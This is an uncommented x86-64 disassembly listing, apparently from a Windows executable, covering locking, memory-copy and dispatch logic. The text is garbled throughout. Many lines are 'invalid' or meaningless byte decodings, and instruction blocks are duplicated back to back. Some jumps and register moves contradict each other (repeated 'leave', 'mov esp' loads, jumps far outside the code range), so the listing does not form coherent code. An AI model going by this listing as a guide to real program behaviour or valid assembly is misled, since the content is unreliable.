movdqu xmmword [r13 + 0x20], xmm0
mov dword [r13], 1
jmp 0x1400a7940
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + 0x18]
cmp byte [rcx + 8], 0
jne 0x1400a8320
mov rax, qword [r8 + 2]
cmp byte [r8 + 1], 0
je 0x1400a66ed
mov r9, rdx
movzx r8d, byte [rcx + 0x11]
mov rdx, qword [rcx + 0x12]
mov byte [rcx + 0x11], 2
cmp r8b, 2
je case.0x14005d242.294
mov byte [rsp + 0x280], r8b
mov qword [rsp + 0x281], rdx
cmp rdx, rax
and al, 0x80
add al, byte [rax]
add byte [rax - 0x77], cl
xchg esp, eax
and al, 0x81
add al, byte [rax]
add byte [rax + 0x39], cl
ret 0x850f
invalid
invalid
jne 0x1400a6cc4
lea rcx, [rsp + 0x281]
mov qword [rsp + 0x3c0], rcx
movabs rcx, 0x54fe9b8bf0a27b0b
cmp rax, rcx
jne 0x1400a839e
test dword [rbp + 0x27], eax
add byte [rax], al
test dword [rbp + 0x27], eax
add byte [rax], al
mov rbx, qword [r9 + 8]
cmp dword [rbx + 0x28], 0
je 0x1400a83e8
mov rsi, qword [r9 + 0x20]
mov rcx, rsi
call fcn.14009a1b0
mov edi, eax
invalid
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x3c0], xmm0
mov cl, 1
invalid
xor eax, eax
lock cmpxchg byte [rsi], cl
jne 0x1400a7d33
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a7d4e
add byte [rcx], bh
mov esi, 0x100
jb 0x1400a8400
add dword [rax], eax
add byte [rax], al
mov dword [rbx + 0x2c], edi
mov dword [rbx + 0x30], 0
mov rax, qword [rbx]
test rax, rax
je 0x1400a5d22
lea rcx, [rbx + 0x18]
mov rdx, qword [rbx + 8]
mov r8, qword [rbx + 0x10]
call qword [rax + 0x10]
lea rax, [0x14013a998]
add eax, 0x94c6f
mov qword [rbx], rax
lea rax, [0x14016f768]
mov qword [rbx + 8], rax
mov dword [rbx + 8], eax
mov dword [rbx + 8], eax
movdqa xmm0, xmmword [rsp + 0x3c0]
movdqu xmmword [rbx + 0x10], xmm0
mov dword [rbx + 0x20], edi
mov dword [rbx + 0x24], 0
jmp case.0x1400a5610.2
mov rax, qword [r8 + 0x28]
mov qword [rsp + 0x3e0], rax
movdqu xmm0, xmmword [r8 + 8]
movdqu xmm1, xmmword [r8 + 0x18]
movdqa xmmword [rsp + 0x3d0], xmm1
add byte [rsi + 0xf], ah
jg 0x1400a5cfd
and al, 0xc0
add eax, dword [rax]
add byte [rax - 0x75], cl
jp 0x1400a5da2
add byte [rsi + 0xf], ah
jg 0x1400a5cfd
and al, 0xc0
add eax, dword [rax]
add byte [rax - 0x75], cl
jp 0x1400a5da2
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x1400a740b
add byte [rcx], dh
in eax, dx
movzx eax, byte [rdi + 1]
test al, al
jne 0x1400a7449
invalid
add byte [rbx + rcx*4 + 0x72], cl
sub byte [rcx - 0xf3fceff], dh
cmpxchg byte [r14], cl
mov r14, qword [rdx + 0x28]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r14], cl
jne 0x1400a752c
push 0x48000017
mov eax, dword [0x14017d2a8]
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a754d
xor eax, eax
mov qword [rsp + 0x70], rdx
movzx ecx, byte [r14 + 1]
test cl, cl
leave
leave
jne 0x1400a756c
mov esi, dword [rsp + 0x3e0]
cmp dword [rdi + 0x170], esi
jae 0x1400a606a
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x650], xmm0
jg 0x1400a5d8a
and al, 0x50
invalid
add byte [rax], al
test al, al
jne 0x1400a5e22
jg 0x1400a5d8a
and al, 0x50
invalid
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bpl, bpl
jne 0x1400a5e53
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a7add
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a5e64
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp bl, 3
jne 0x1400a627f
movdqa xmm0, xmmword [rsp + 0x110]
movdqa xmm1, xmmword [rsp + 0x120]
movdqu xmmword [rsi + 0x10], xmm1
movdqu xmmword [rsi], xmm0
jmp case.0x1400a5610.2
mov ebp, dword [r8 + 4]
mov r15d, dword [r8 + 8]
mov rdi, qword [rdx + 0x20]
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x1400a7462
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a7483
xor r14d, r14d
movzx eax, byte [rdi + 1]
test al, al
jne 0x1400a74a1
mov qword [rsp + 0x48], r13
test ebp, ebp
je 0x1400a66fa
mov sil, 1
mov r13d, 1
lea r12, [0x14013a998]
lea rbx, [0x14016f768]
cmp dword [rdi + 0x100], ebp
jae 0x1400a6b36
mov bpl, 3
jmp 0x1400a78fe
mov dword [rsp + 0x60], ebx
lea rax, [rdi + 8]
mov qword [rsp + 0x58], rax
movzx ebp, byte [rdx + 0x30]
mov rax, qword [rdx + 0x28]
mov qword [rsp + 0x40], rax
lea rax, [rdi + 0x68]
mov qword [rsp + 0x70], rax
lea rax, [rdi + 0x1b8]
mov qword [rsp + 0x50], rax
lea rsi, [rdi + 0x1e0]
mov rcx, qword [rdi + 0x218]
mov rdx, qword [rdi + 0x220]
mov r8d, r13d
call fcn.140020750
mov r8, qword [rdi + 0x1e8]
mov rdx, qword [rdi + 0x1f0]
mov r9, qword [rdi + 0x200]
mov r10, r9
and r10, rax
mov rcx, rax
shr rcx, 0x39
mov r14, qword [rdi + 0x1f8]
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
xor r15d, r15d
pcmpeqd xmm1, xmm1
movdqu xmm2, xmmword [r14 + r10]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r12d, xmm3
nop dword [rax]
test r12w, r12w
je 0x1400a6047
or byte [rbp - 0x42], dh
jmp 0x1400a63b0
sbb dword [rbx], ebx
add byte [rax], al
add r10, r15
add r10, 0x10
add r15, 0x10
and r10, r9
jmp 0x1400a5fe6
invalid
invalid
invalid
invalid
mov dword [rsp + 0x24c], eax
mov qword [rsp + 0xd8], r14
mov dword [rsp + 0x68], ebp
mov qword [rsp + 0x48], r13
mov dword [rdi + 0x170], esi
lea rdx, [rsp + 0x3d8]
mov rax, qword [rsp + 0x3c0]
mov r8, qword [rsp + 0x3c8]
mov r9, qword [rsp + 0x3d0]
lea rcx, [rsp + 0x288]
call qword [rax]
mov eax, dword [rsp + 0x3e4]
mov dword [rsp + 0x284], eax
mov word [rsp + 0x280], 0x201
add byte [rcx], al
add cl, byte [rax - 0x75]
xchg dword [rax], edx
add al, byte [rax]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sbb eax, dword [rdx]
add byte [rax], al
add byte [rcx], al
add cl, byte [rax - 0x75]
xchg dword [rax], edx
add al, byte [rax]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
sbb eax, dword [rdx]
add byte [rax], al
lea rcx, [rdi + 8]
mov qword [rsp + 0x50], rcx
mov dword [rsp + 0x50], ecx
mov dword [rsp + 0x50], ecx
mov rcx, qword [rsp + 0xd8]
add rcx, 8
mov qword [rsp + 0x58], rcx
lea rcx, [rdi + 0x1b8]
mov qword [rsp + 0x60], rcx
lea rcx, [rdi + 0x110]
mov qword [rsp + 0x40], rcx
xor r14d, r14d
mov r13, rax
jmp 0x1400a6159
setne r8b
mov rcx, rbx
lea rdx, [rsp + 0x270]
call fcn.14001fde0
mov rax, qword [rdi + 0x210]
cmp rax, r13
sbb r14, 0xffffffffffffffff
fdivp st(7)
fdivp st(7)
cmp rax, r13
sbb r13, 0
cmp r14, r13
jae 0x1400a62f5
cmp r14, qword [rdi + 0x1f0]
jae 0x1400a81ac
mov rcx, qword [rdi + 0x1e8]
mov rdx, r14
shl rdx, 4
mov r15d, dword [rcx + rdx + 8]
mov ebp, dword [rcx + rdx + 0xc]
mov dword [rsp + 0x80], ebp
mov dword [rsp + 0x84], r15d
cmp qword [rdi + 0x1c8], rbp
jbe 0x1400a8136
mov rdx, qword [rdi + 0x1c0]
imul rbx, rbp, 0x130
cmp dword [rdx + rbx], 2
je 0x1400a8136
add rdx, rbx
cmp dword [rdx + 0x114], r15d
jne 0x1400a8136
cmp r15d, esi
jbe 0x1400a6142
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x270], rax
mov dword [rsp + 0x278], ebp
mov dword [rsp + 0x27c], r15d
mov r12d, dword [rdx + 0x48]
mov esp, dword [rdx + 0x48]
mov esp, dword [rdx + 0x48]
lea rcx, [rsp + 0x280]
call fcn.140025480
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x58]
lea r8, [rsp + 0x270]
call fcn.14008c0a0
pop rsi
invalid
dec dword [rcx + 0x8024ac]
add byte [rax], al
mov dword [rsp + 0x84], r15d
cmp qword [rdi + 0x1c8], rbp
jbe 0x1400a8136
mov rax, qword [rdi + 0x1c0]
cmp dword [rax + rbx], 2
je 0x1400a8136
add rax, rbx
cmp dword [rax + 0x114], r15d
jne 0x1400a8136
mov edx, dword [rax + 0x84]
test edx, edx
mov rbx, qword [rsp + 0x50]
jle 0x1400a6120
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x130], rax
movzx eax, word [rsp + 0x280]
movzx ecx, word [rsp + 0x282]
mov edx, dword [rsp + 0x284]
test byte [rax + rsi], ah
add dword [rax], eax
add byte [rdi], cl
mov bh, 0x84
and al, 0x80
add al, byte [rax]
add byte [rdi], cl
mov bh, 0x8c
and al, 0x82
add al, byte [rax]
add byte [rbx + 0x2842494], cl
add byte [rax], al
mov r8, qword [rsp + 0x288]
movups xmm0, xmmword [rsp + 0x290]
movaps xmmword [rsp + 0x120], xmm0
mov word [rsp + 0x110], ax
mov word [rsp + 0x112], cx
mov dword [rsp + 0x114], edx
mov qword [rsp + 0x118], r8
lea rsi, [rdi + 0x180]
movzx eax, byte [rdi + 0x180]
cmp eax, 3
mov r13, qword [rsp + 0x48]
mov ebp, dword [rsp + 0x68]
mov r14, qword [rsp + 0xd8]
add byte [rax], al
add byte [rax], al
je 0x1400a70e2
test eax, eax
je 0x1400a70e2
cmp eax, 1
jne 0x1400a70bd
lea rcx, [rdi + 0x1a0]
mov rax, qword [rdi + 0x188]
mov rdx, qword [rdi + 0x190]
mov r8, qword [rdi + 0x198]
xchg dword [rax - 0xffffff], ebx
push rax
adc cl, ch
invalid
invalid
add byte [rax], al
xchg dword [rax - 0xffffff], ebx
push rax
adc cl, ch
xor cl, byte [0x1375263b2]
fisttp dword [rcx - 0x73]
adc al, 0xde
neg rbx
lea rdx, [r14 + rbx*8]
mov qword [rsp + 0x258], rsi
mov qword [rsp + 0x260], rdx
invalid
add al, byte [rax]
add byte [rax - 0x39], cl
test byte [rax + rdx*2], ah
add al, byte [rax]
add byte [rax], al
add byte [rax], al
invalid
invalid
mov rcx, rsi
call fcn.140027030
mov r13d, eax
mov ebp, edx
mov ebx, dword [rsp + 0x60]
mov r14, qword [rsp + 0x40]
mov r15, qword [rsp + 0x58]
mov dword [rsp + 0x530], r13d
mov dword [rsp + 0x534], ebp
mov ecx, r13d
jmp 0x108999d4c
add dword [rax], eax
add byte [rdi], cl
invalid
xchg esp, eax
invalid
add byte [rax], al
jmp 0x108999d4c
mov rax, qword [rdi + 0x1c0]
imul rcx, rcx, 0x130
xchg eax, eax
add dword [rax], eax
add byte [rax + 0x69], cl
leave
xor byte [rcx], al
add byte [rax], al
cmp dword [rax + rcx], 2
je 0x1400a82a1
add rax, rcx
cmp dword [rax + 0x114], ebp
jne 0x1400a82a1
invalid
add byte [rdi], cl
mov dh, 0x48
push rax
movzx ecx, byte [rax + 0x50]
cmp cl, 5
ja 0x1400a6473
lea edx, [rcx - 3]
cmp dl, 3
movzx r8d, dl
mov edx, 1
cmovb edx, r8d
test dl, dl
je 0x1400a6473
invalid
invalid
movzx edx, dl
cmp edx, 1
jne 0x1400a597a
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x78], rax
mov cl, 1
xor eax, eax
lock cmpxchg byte [r14], cl
jne 0x1400a7b09
mov rax, qword [0x14017d2a8]
shl rax, 1
adc eax, 0x48000d6e
shl eax, 1
test rax, rax
jne 0x1400a7b24
xor r12d, r12d
movzx eax, byte [r14 + 1]
test al, al
jne 0x1400a7b3d
lea rax, [r14 + 8]
mov qword [rsp + 0xe0], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], r13d
mov dword [rsp + 0xbc], ebp
lea rax, [rsp + 0x78]
mov qword [rsp + 0x230], rax
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0x650]
mov r8d, 0x120
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x238], rax
lea rsi, [rsp + 0xb0]
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
mov rcx, rsi
call fcn.140020430
mov ebp, dword [rax + 0x48]
mov rcx, rsi
call fcn.140020430
movzx ecx, byte [rax + 0x50]
add cl, 0xfa
movzx edx, cl
rol dword [rax + 0x6b906fa], 1
add byte [rax], al
add byte [rdi], cl
retf 0xf980
add al, 0xf
xchg dword [rsp + rcx], ebp
add byte [rax], al
rol dword [rax + 0x6b906fa], 1
add byte [rax], al
add byte [rdi], cl
retf 0xf980
movzx ecx, cl
lea rdx, [0x140174ab0]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
mov rsi, qword [rsp + 0x78]
lea r13, [rsp + 0x3c0]
lea rdx, [rsp + 0x110]
mov r8d, 0x120
mov rcx, r13
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0x530]
lea r9, [rsp + 0xb0]
mov rdx, rsi
mov r8, r13
call fcn.140022260
mov rax, qword [rsp + 0x530]
cmp rax, 3
je 0x1400a77c8
cmp eax, 4
mov r13, qword [rsp + 0x48]
je 0x1400a7792
cmp eax, 5
je 0x1400a6659
lea rsi, [rsp + 0x3c0]
lea rdx, [rsp + 0x530]
mov r8d, 0x120
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rsp + 0x78]
lea rcx, [rax + 0xa0]
mov r8, qword [rsp + 0xe0]
add rax, 0x140
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r15
lea r13, [rsp + 0xb0]
mov rdx, rsi
mov r9, r13
call fcn.1400875f0
mov rax, qword [rsp + 0x78]
lea rcx, [rax + 0xa0]
add rax, 0x140
mov qword [rsp + 0x20], rax
mov rdx, r13
mov r8d, 7
mov r9, r15
call fcn.140026470
mov rcx, qword [rsp + 0x78]
mov rdx, r13
mov r13, qword [rsp + 0x48]
mov r8, r15
call fcn.140025720
mov byte [rsp + 0x80], 3
jmp 0x1400a77fc
add dl, 0xfa
movzx r8d, dl
cmp r8b, 6
mov edx, 6
cmovb edx, r8d
mov bl, 1
mov dword [rsp + 0x58], 1
lea r8, [0x1401127a0]
mov qword [rsp + 0x40], r8
cmp dl, 4
je 0x1400a6e0d
movzx edx, dl
cmp edx, 3
jne 0x1400a6e17
cmp ebp, dword [rdi + 0x100]
jbe 0x1400a6c7f
mov byte [rcx + 8], 1
mov qword [rcx + 9], rax
jmp case.0x1400a5610.2
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x280], xmm0
mov sil, 1
mov r13d, 1
lea r12, [0x14013a998]
lea rbx, [0x14016f768]
mov bpl, 1
jmp 0x1400a78fe
mov ecx, dword [rdi + 0x110]
add ecx, r12d
mov esi, 3
jo 0x1400a6f06
mov dword [rdi + 0x110], ecx
mov qword [rsp + 0x280], 2
mov qword [rsp + 0x2a0], 0
mov ecx, dword [rdi + 0x114]
add r12d, ecx
jo 0x1400a676d
cmp byte [r8 + 0x51], 0
je 0x1400a6882
mov qword [rsp + 0x110], rax
mov dword [rsp + 0x118], edx
mov dword [rsp + 0x11c], ecx
cmp dword [r8 + 0x48], 0x3b9aca00
setne bpl
mov rcx, rsi
mov rdx, r12
call fcn.140021a70
dec dword [rcx + rcx*4 - 7]
dec dword [rcx + rcx*4 - 7]
mov rdx, r12
mov r8d, ebp
call fcn.14001fde0
cmp dword [rdi + 0x114], 0
jle 0x1400a75fc
mov rcx, r12
mov rdx, rbx
mov r8, r13
call fcn.1400265b0
mov rax, qword [rsp + 0x110]
test rax, rax
je 0x1400a7207
mov edx, dword [rsp + 0x118]
mov ecx, dword [rsp + 0x11c]
mov dword [rsp + 0x650], edx
mov dword [rsp + 0x654], ecx
cmp qword [rax + 0x10], rdx
jbe 0x1400a81b8
mov r8, qword [rax + 8]
imul r9, rdx, 0x130
cmp dword [r8 + r9], 2
je 0x1400a81b8
add r8, r9
cmp dword [r8 + 0x114], ecx
jne 0x1400a81b8
movzx r9d, byte [r8 + 0x50]
add r9b, 0xfa
movzx r9d, r9b
cmp r9b, 6
mov r10d, 6
cmovae r9d, r10d
cmp r9b, 3
je 0x1400a6791
movzx r9d, r9b
cmp r9d, 5
je 0x1400a6791
cmp qword [r8 + 0x88], 0
jne 0x1400a679c
jmp 0x1400a67d7
mov r15d, dword [rsp + 0x658]
mov ebp, dword [rsp + 0x65c]
mov dword [rsp + 0xe8], r15d
mov dword [rsp + 0xec], ebp
cmp qword [rax + 0x10], r15
jbe 0x1400a8338
mov rdx, qword [rax + 8]
imul rax, r15, 0x130
cmp dword [rdx + rax], 2
je 0x1400a8338
add dword [rax], eax
add byte [rax + 0x104bf], al
add byte [rax], al
je 0x1400a79cc
lea rbx, [rdi + 8]
lea rdx, [rdi + 0x68]
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x110]
mov qword [rsp + 0x40], rdx
mov r8d, r12d
xor r9d, r9d
call fcn.140022180
movzx r13d, byte [rsp + 0x110]
mov dh, 0xac
and al, 0x10
add dword [rax], eax
add byte [rcx - 0x80], al
std
add ecx, dword [rdi]
invalid
pushfq
adc byte [rax], al
invalid
mov dh, 0xac
and al, 0x10
add dword [rax], eax
add byte [rcx - 0x80], al
std
add ecx, dword [rdi]
test dword [rax + rdx - 0x437d0000], ebx
adc byte [rax], al
add byte [rbx + 0x11424bc], al
add byte [rax], al
invalid
adc byte [rax], al
add byte [rbx + 0x11424bc], al
add byte [rax], al
add byte [rdi], cl
cmp dword [rsp + 0x114], 0
je 0x1400a5a4a
test dl, ah
invalid
mov r9d, dword [rdi + 0xf4]
mov r8d, dword [rdi + 0x174]
lea rcx, [rsp + 0x110]
mov edx, r12d
call fcn.140027250
lea r13, [rsp + 0x530]
mov rcx, r13
mov rdx, r14
mov r8d, r12d
lea r9, [rsp + 0x110]
call fcn.140026a90
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x650], rax
mov qword [rsp + 0x230], rsi
lea rsi, [rsp + 0x110]
lea rdx, [rsp + 0x280]
mov r8d, 0x120
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rsp + 0x250]
mov qword [rsp + 0x238], rax
lea rcx, [rsp + 0x3c0]
mov rdx, rbx
mov r8, r13
mov r9, rsi
call fcn.1400a85d0
movzx r13d, byte [rsp + 0x3c0]
cmp r13b, 3
jne 0x1400a7ce9
mov r13b, 3
cmp dword [rsp + 0x3c4], 1
jne 0x1400a6afc
movsd xmm6, qword [rsp + 0x3c8]
mov rcx, qword [rdi + 0x1c0]
mov rdx, qword [rdi + 0x1c8]
mov r8d, r15d
mov r9d, ebp
call fcn.140026fa0
movups xmm0, xmmword [rax + 0x100]
movaps xmmword [rsp + 0x110], xmm0
mov ecx, dword [rax + 0x110]
mov dword [rsp + 0x120], ecx
mov dword [rax + 0x100], 0
movlps qword [rsp + 0x3c8], xmm6
mov qword [rsp + 0x3c0], r14
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0x3c0]
call fcn.140023230
mov dword [rsp + 0x3c8], r15d
mov dword [rsp + 0x3cc], ebp
mov qword [rsp + 0x3c0], r14
lea rsi, [rsp + 0x3c0]
mov rcx, rsi
call fcn.1400230e0
movdqa xmm0, xmmword [rsp + 0x110]
movdqu xmmword [rax + 0x100], xmm0
mov ecx, dword [rsp + 0x120]
mov dword [rax + 0x110], ecx
mov rcx, rsi
call fcn.1400230e0
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x1400a6afc
call qword [rdx + 8]
cmp byte [rsp + 0x60], 0
jne 0x1400a6db8
jmp 0x1400a6da5
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x80], xmm0
mov bl, 1
mov ebp, 1
lea r14, [0x14016f768]
lea rsi, [0x14013a998]
mov r13b, 1
jmp 0x1400a6d91
mov rsi, qword [rdx + 0x28]
lea rdx, [rdi + 0x1b8]
lea rcx, [rsp + 0x110]
mov r8d, ebp
call fcn.140026920
cmp qword [rsp + 0x110], 0
je 0x1400a6eb9
movdqu xmm0, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x3b0], xmm0
mov cl, 1
xor eax, eax
lock cmpxchg byte [rsi], cl
mov rcx, rsi
mov qword [rsp + 0x60], rsi
jne 0x1400a7bee
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a7c10
xor esi, esi
mov dword [rsp + 0x40], r14d
movzx eax, byte [rcx + 1]
test al, al
jne 0x1400a7c31
lea r14, [rdi + 8]
lea r13, [rsp + 0x3b0]
mov rcx, r13
call fcn.140020430
mov eax, dword [rax + 0x48]
mov dword [rsp + 0x50], eax
mov rcx, r13
call fcn.1400230e0
mov qword [rsp + 0x20], r14
lea rcx, [rsp + 0x110]
mov edx, ebp
mov r8d, r15d
mov r9, rax
call fcn.140025330
movzx ebp, byte [rsp + 0x110]
cmp bpl, 3
mov dword [rsp + 0x58], esi
jne 0x1400a6ff3
mov rax, qword [rsp + 0x60]
lea rdx, [rax + 8]
lea r15, [rdi + 0x110]
lea r13, [rsp + 0x3b0]
mov rcx, r15
mov r8, r13
call fcn.14008c0a0
mov rcx, r15
mov rdx, r13
mov r8, r14
call fcn.140021ee0
mov rcx, r13
call fcn.140020430
cmp byte [rax + 0x50], 6
jae 0x1400a8430
invalid
add cl, ch
in eax, 3
add byte [rax], al
jmp 0x1400a702e
cmp byte [rdi + 0x60], 0
setne al
xchg ebp, eax
sal byte [rax], 0xd8
xchg ebp, eax
sal byte [rax], 0xd8
test al, 1
je 0x1400a6ee6
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rbx + 0x108bf], al
add byte [rax], al
add byte [rax], al
cmp dword [rdi + 0x108], 0
mov eax, ebp
jne 0x1400a5b30
call 0x12ed1f176
invalid
mov esi, 1
add byte [rax], al
add byte [rcx], bh
lahf
or al, 1
add byte [rax], al
add byte [rax], al
cmp dword [rdi + 0x10c], ebx
ja 0x1400a5b30
mov dh, 0xee
invalid
jmp 0x1400a6f06
mov dh, 1
lea rsi, [0x14016f768]
lea rcx, [0x14013a998]
test ebp, ebp
je 0x1400a75e2
lea rdx, [rdi + 0x68]
test r15b, r15b
setne al
xor al, bpl
test al, 1
je 0x1400a7587
cmp dword [rdi + 0x108], 0
jne 0x1400a759a
mov eax, 0xa4
jmp 0x1400a7595
lea rdx, [rcx + 0x11]
movzx r8d, byte [rsp + 0x288]
test byte [rax + rcx*4], ah
add al, byte [rax]
add byte [rax + rcx*4 + 0x42], al
or byte [rbx + rcx*4 - 0x7c], cl
mov eax, dword [rsp + 0x280]
test byte [rax + rcx*4], ah
add al, byte [rax]
add byte [rax + rcx*4 + 0x42], al
or byte [rbx + rcx*4 - 0x7c], cl
mov eax, dword [rsp + 0x280]
mov qword [rdx], r8
mov eax, dword [rsp + 0x280]
mov qword [rdx], r8
mov rdx, qword [rcx]
test rdx, rdx
je case.0x1400a5610.2
movabs rcx, 0xb416870b7adb7c3b
cmp rax, rcx
enter 0xffffffffffff850f, 0x33
or al, 0
invalid
cmp edi, dword [rbx + rbx*8 + 0x7a]
or eax, dword [rdi + 0x3948b416]
enter 0xffffffffffff850f, 0x33
or al, 0
add byte [rcx + 3], bh
mov ecx, 3
mov eax, 2
lock cmpxchg qword [rdx + 0x10], rcx
jne case.0x1400a5610.2
mov rax, qword [rdx + 0x40]
nop dword [rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [rdx + 0x40], rcx
jne 0x1400a6d20
jne 0x1400a6d20
test rax, rax
jne case.0x1400a5610.2
add byte [rax], al
add byte [rax], al
mov rax, qword [rdx + 0x30]
mov rcx, qword [rdx + 0x38]
mov qword [rdx + 0x30], 0
lock and qword [rdx + 0x40], 0xfffffffffffffffd
invalid
std
test rax, rax
je case.0x1400a5610.2
invalid
invalid
add bh, bh
push rax
or cl, ch
ror dword [rbx], cl
add byte [rax], al
movzx r15d, word [rsp + 0x3c2]
movzx edi, word [rsp + 0x3c2]
call qword [rax + 8]
jmp case.0x1400a5610.2
movzx edi, word [rsp + 0x3c2]
mov ebp, dword [rsp + 0x3c4]
mov rsi, qword [rsp + 0x3c8]
mov r14, qword [rsp + 0x3d0]
movdqu xmm0, xmmword [rsp + 0x3d8]
movdqa xmmword [rsp + 0x80], xmm0
lea rcx, [rsp + 0x280]
call fcn.140088040
cmp byte [rsp + 0x60], 0
jne 0x1400a6db8
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a7a9b
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a6dc9
or byte [rax + 0x44660958], cl
mov dword [rax + 0xa], edi
mov dword [rax + 0xc], ebp
or al, 0x48
mov dword [rax + 0x10], esi
or al, 0x48
mov dword [rax + 0x10], esi
mov qword [rax + 0x18], r14
movdqa xmm0, xmmword [rsp + 0x500]
movq mm0, qword [rsp + 0x500]
movq mm0, qword [rsp + 0x500]
jmp 0x1400a7993
cmp byte [rcx + 0x51], 0
jne 0x1400a66af
mov r12, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x68]
lea rcx, [rsp + 0x3d8]
mov rax, qword [rsp + 0x3c0]
mov rdx, qword [rsp + 0x3c8]
mov r8, r13
call qword [rax + 0x10]
test r14b, r14b
je 0x1400a6ea5
sub dword [rdi + 0xf8], r13d
mov eax, dword [rdi + 0xb4]
add eax, r13d
jo 0x1400a6e5f
mov dword [rdi + 0xb4], eax
cmp qword [rbp], 0
je 0x1400a6f45
lea rsi, [0x14016f768]
xor r15d, r15d
mov r13, qword [rsp + 0x48]
jmp 0x1400a6f8e
lea rcx, [rdi + 0x68]
movzx edx, byte [rdi + 0x60]
mov r8d, ebp
call fcn.140027f60
test eax, eax
je 0x1400a78f8
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x280], xmm0
mov bpl, 1
jmp 0x1400a78fb
cmp dword [rdi + 0x90], 0
mov eax, ebp
jne 0x1400a5b30
in al, dx
invalid
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x530], xmm0
test al, al
and al, 0x30
add eax, 0xc0840000
jne 0x1400a6f2a
mov eax, dword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a7d9f
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x20
mov rdx, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
mov r8b, 1
call fcn.14008bce0
mov bl, 3
cmp dword [rsp + 0xd8], 0x3b9aca00
setne r8b
ror byte [rax - 0x73], 0x94
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
jmp 0x13798a394
invalid
add byte [rax], al
add byte [rax], al
retf 0x3b9a
ror byte [rax - 0x73], 0x94
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
jmp 0x13798a394
cmp byte [rsp + 0x70], 0
jne case.0x1400937fa.106
mov rax, qword [0x14017d2a8]
shl rax, 1
shl eax, 1
shl eax, 1
test rax, rax
jne 0x1400a7bd6
xor eax, eax
xchg byte [r12], al
mov rcx, r12
xor r12d, r12d
in al, 0x41
mov dh, 1
in al, 0x41
mov dh, 1
cmp al, 2
jne 0x1400a6fe3
add dh, byte [rbp + 9]
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add byte [rsi], 0
xor r12d, r12d
in al, 0x80
jl 0x1400a700a
cmp byte [rsp + 0x60], 0
jne 0x1400a7741
add byte [rax], al
invalid
add byte [rax], al
jmp 0x1400a772e
movzx esi, byte [rsp + 0x111]
movzx r15d, word [rsp + 0x112]
add byte [rbx + rcx*4 - 0x54], al
and al, 0x14
add dword [rax], eax
invalid
add byte [rbx + rcx*4 - 0x54], al
and al, 0x14
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5c], cl
movsb byte [rdi], byte [rsi]
add byte [rax], al
mov r12, qword [rsp + 0x118]
mov rbx, qword [rsp + 0x120]
and byte [rcx], al
add byte [rax], al
movsb byte [rdi], byte [rsi]
and al, 0x18
add dword [rax], eax
add byte [rax - 0x75], cl
pushfq
and al, 0x20
and byte [rcx], al
add byte [rax], al
movdqu xmm0, xmmword [rsp + 0x128]
and byte [rcx], al
add byte [rax], al
movdqu xmm0, xmmword [rsp + 0x128]
outsd dx, dword [rsi]
test byte [rax + rbp], ah
add dword [rax], eax
add byte [rsi + 0xf], ah
jg 0x1400a6fad
invalid
movdqa xmmword [rsp + 0x280], xmm0
test byte [rax + rax*4], ah
and al, 0x80
add al, byte [rax]
add byte [rbx + 0x3d502444], cl
add dl, cl
invalid
mov eax, dword [rsp + 0x50]
